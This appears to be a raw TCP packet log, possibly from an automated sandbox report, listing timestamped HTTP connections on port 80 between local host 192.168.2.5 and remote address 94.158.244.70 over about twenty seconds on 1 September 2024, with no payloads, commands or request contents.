Sep 1, 2024 23:57:38.266067028 CEST	80	49762	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.266165018 CEST	49762	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.266304970 CEST	49762	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.266490936 CEST	80	49761	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.266539097 CEST	49761	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.272578955 CEST	80	49762	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.622827053 CEST	49762	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.647017002 CEST	80	49762	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.795413017 CEST	49762	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.795455933 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.800262928 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.800354004 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.800462008 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.800474882 CEST	80	49762	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.800530910 CEST	49762	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.805202007 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.918049097 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.922979116 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:38.923171997 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.923324108 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:38.928066015 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.154066086 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.158977985 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.159132004 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.279118061 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.283983946 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.373320103 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.419601917 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.498142958 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.501374960 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.544559002 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.544603109 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.621412992 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.669598103 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:39.680227995 CEST	80	49757	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:39.680291891 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.115828037 CEST	49757	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.153487921 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.153584003 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.153891087 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.158555031 CEST	80	49763	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.158622980 CEST	49763	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.158680916 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.158749104 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.158950090 CEST	80	49764	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.158993959 CEST	49764	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.161519051 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.166312933 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.513536930 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.521250963 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.738960981 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.778951883 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.870289087 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.919667006 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.992362022 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.992638111 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.997442007 CEST	80	49765	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.997454882 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:40.997519970 CEST	49765	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.997559071 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:40.997746944 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:41.002609015 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:41.359214067 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:41.364150047 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:41.603414059 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:41.653956890 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:41.907917023 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:41.950069904 CEST	80	49766	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:41.950124979 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.026479959 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.031232119 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:42.031318903 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.031411886 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.036586046 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:42.388439894 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.393260002 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:42.608046055 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:42.653943062 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.733400106 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:42.780164957 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.978487968 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:42.979327917 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.110704899 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.111001968 CEST	80	49767	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.111093044 CEST	49767	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.111109018 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.112868071 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.118124008 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.466552973 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.471793890 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.686101913 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.732203007 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.813299894 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.857068062 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.926772118 CEST	49766	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.931068897 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.931361914 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.936111927 CEST	80	49768	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.936122894 CEST	80	49769	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:43.936171055 CEST	49768	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.936207056 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.936341047 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:43.941344023 CEST	80	49769	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.294761896 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.299731970 CEST	80	49769	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.514054060 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.514072895 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.518867016 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.519021988 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.519124031 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.519299984 CEST	80	49769	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.519449949 CEST	49769	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.523860931 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.635276079 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.640140057 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.640253067 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.640333891 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.645035982 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.872864962 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:44.877789974 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.877835989 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:44.997930050 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.003629923 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.094124079 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.138325930 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.214196920 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.216757059 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.263387918 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.263391018 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.340738058 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.388334036 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.464538097 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.464812040 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.464862108 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.469517946 CEST	80	49770	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.469655037 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.469687939 CEST	49770	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.469752073 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.469762087 CEST	80	49771	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.469824076 CEST	49771	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.469924927 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.474653006 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:45.825891972 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:45.830811977 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:46.063313007 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:46.107065916 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.196845055 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:46.247690916 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.323698044 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.328459024 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:46.328635931 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.328794003 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.333524942 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:46.685282946 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:46.997710943 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.607080936 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.709798098 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.710196972 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.710290909 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.711647034 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.711690903 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.712933064 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.713190079 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.713854074 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.876715899 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:47.919596910 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.996737003 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:47.997307062 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.002110958 CEST	80	49773	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.002121925 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.002202988 CEST	49773	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.002238989 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.002357006 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.007095098 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.357207060 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.362255096 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.590920925 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.638317108 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.723409891 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.763319016 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.838864088 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.839041948 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.843810081 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.843882084 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.844007015 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.844094038 CEST	80	49774	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:48.844150066 CEST	49774	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:48.848717928 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.201039076 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.205900908 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.436904907 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.482093096 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.568511963 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.622725964 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.680833101 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.681051016 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.685859919 CEST	80	49776	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.685990095 CEST	80	49775	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:49.686073065 CEST	49775	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.686086893 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.686216116 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:49.691428900 CEST	80	49776	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.044739008 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.049570084 CEST	80	49776	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.233923912 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.234843016 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.238729954 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.238810062 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.239022970 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.239861012 CEST	80	49776	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.239909887 CEST	49776	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.243735075 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.353566885 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.358344078 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.359122038 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.360552073 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.365310907 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.591682911 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.596558094 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.596591949 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.716624975 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.721407890 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.831461906 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.872694969 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:50.942230940 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.960527897 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:50.987457037 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.013322115 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.070225000 CEST	80	49772	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.070286036 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.070934057 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.122740984 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.197911978 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.197942019 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.198241949 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.202944994 CEST	80	49778	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.203037977 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.203113079 CEST	49778	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.203150988 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.203279018 CEST	80	49779	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.203315020 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.203332901 CEST	49779	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.208022118 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.560375929 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.565267086 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.783278942 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.825875998 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:51.909565926 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:51.950876951 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.027138948 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.027545929 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.032527924 CEST	80	49781	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.032597065 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.032716990 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.032877922 CEST	80	49780	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.032922983 CEST	49780	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.038041115 CEST	80	49781	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.388417959 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.393331051 CEST	80	49781	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.629050016 CEST	80	49781	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.669687986 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.817032099 CEST	80	49781	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.872905970 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.940500975 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.945389986 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:52.945472956 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.945555925 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:52.950318098 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.294711113 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.299690962 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.553724051 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.601399899 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.681004047 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.732064962 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.805433035 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.805608988 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.810403109 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.810482979 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.810595989 CEST	80	49782	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:53.810611963 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.810642004 CEST	49782	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:53.815351009 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.169687986 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.174535990 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.391823053 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.435229063 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.517668009 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.560328007 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.645556927 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.645898104 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.768718958 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.768810034 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.769421101 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.769503117 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.769526958 CEST	80	49783	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:54.769577980 CEST	49783	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.769769907 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:54.774513960 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.122828007 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.127840996 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.360919952 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.403974056 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.488624096 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.529048920 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.604201078 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.604453087 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.609282017 CEST	80	49785	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.609380960 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.609401941 CEST	80	49784	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.609453917 CEST	49784	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.609582901 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.614286900 CEST	80	49785	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.967252016 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.967345953 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.967730045 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.972182035 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.972265959 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.972306013 CEST	80	49785	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:55.972435951 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:55.977366924 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.018045902 CEST	80	49785	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.022010088 CEST	80	49785	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.022056103 CEST	49785	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.084506035 CEST	49781	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.084583998 CEST	49772	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.088232040 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.093086004 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.093166113 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.093261957 CEST	49787	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.098037004 CEST	80	49787	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.325936079 CEST	49786	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:57:56.330802917 CEST	80	49786	94.158.244.70	192.168.2.5
Sep 1, 2024 23:57:56.330915928 CEST	80	49786	94.158.244.70	192.168.2.5
